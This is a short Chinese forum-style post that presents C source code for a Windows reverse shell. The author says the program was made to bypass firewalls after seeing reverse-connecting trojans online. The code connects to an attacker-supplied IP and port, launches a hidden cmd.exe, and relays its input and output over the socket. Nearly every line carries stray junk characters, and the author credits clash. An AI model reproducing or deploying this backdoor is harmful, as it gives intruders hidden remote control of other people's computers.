这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VmkYl$WZo
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/* ============================== .so{ RI
Rebound port in Windows NT \wNn c"
By wind,2006/7 zux+ooU
===============================*/ y+?tUSPP
#include g}3c r.
#include <'
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); ]+':=&+:
SOCKET sClient; uPV,-rm[F_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #Y}Hh7.<
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void main(int argc,char **argv) _'H<zZo
{ {7eKv+30
WSADATA stWsaData; gH\r# wy|
int nRet; ^l^_ K)tw*
SOCKADDR_IN stSaiClient,stSaiServer; vtmO
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if(argc != 3) cJ8F#t
{ +ZE&]BO{
printf("Useage:\n\rRebound DestIP DestPort\n"); B0z.s+.
return; ^MJGY,r6b
} {|xwvTlJ
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WSAStartup(MAKEWORD(2,2),&stWsaData); p!aeL}g`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &"tce6&
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stSaiClient.sin_family = AF_INET; ;wQWt_OtuJ
stSaiClient.sin_port = htons(0); +zs6$OI]V
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U-FA^c;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ri JyH;)
{ 3Gp4%UT&
printf("Bind Socket Failed!\n"); oLr"8R\d>t
return; :LBe{Jbw
} zK-hNDFL{
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stSaiServer.sin_family = AF_INET; doR'=@ W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l(]\[}.5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;2@sn+@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3yKI2en"
{ 7t04!dD}
printf("Connect Error!"); 7 $9fGo
return; ~o/^=:*
} 99ha/t
OutputShell(); g
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} :):Y6)giBD
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void OutputShell() #`p>VXBj!
{ 44W3U~1
char szBuff[1024]; huF L [
SECURITY_ATTRIBUTES stSecurityAttributes; HQ
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OSVERSIONINFO stOsversionInfo; *c AoE l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \OU+Kl<
STARTUPINFO stStartupInfo; <{) 4gvH
char *szShell; EkL\~^
PROCESS_INFORMATION stProcessInformation; \W}EyA
unsigned long lBytesRead; z$Nk\9wm
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gNqV>p
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0wkLM-lN
stSecurityAttributes.lpSecurityDescriptor = 0; 20moX7L
stSecurityAttributes.bInheritHandle = TRUE; qXI30Yo#d
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kW!:bh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pMB=iS<E
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZWa#}VS}-n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Bb5KD
stStartupInfo.wShowWindow = SW_HIDE; *h4m<\^U
stStartupInfo.hStdInput = hReadPipe; q8h{-^"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _Y|kX2l
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GetVersionEx(&stOsversionInfo); 0l6iv[qu5w
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switch(stOsversionInfo.dwPlatformId) -7O/ed+
{ Cv~hU%1T
case 1: cA%U
szShell = "command.com"; -(uBTO s
break; (RmED\.]4
default: +zdkdS,2<
szShell = "cmd.exe"; I.u,f:Fl'
break; =Yj[MVn
} CCY|FK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GF!{SO4
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send(sClient,szMsg,77,0);
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while(1) qE72(#:R*
{ .:ZXtU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'q'Y:A?,
if(lBytesRead) 9(F?|bfk
{ sYA-FO3gh
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <u?hdwW\
send(sClient,szBuff,lBytesRead,0); -NPkN%h
} Zax]i,Bx
else g$"eI/o
{ $l;tP
lBytesRead=recv(sClient,szBuff,1024,0); L[G\+
if(lBytesRead<=0) break; IA`8ie+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~fp+@j-A
} .r| vz6tU?
} /C"s_:m;3
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return; |~uzQU7
}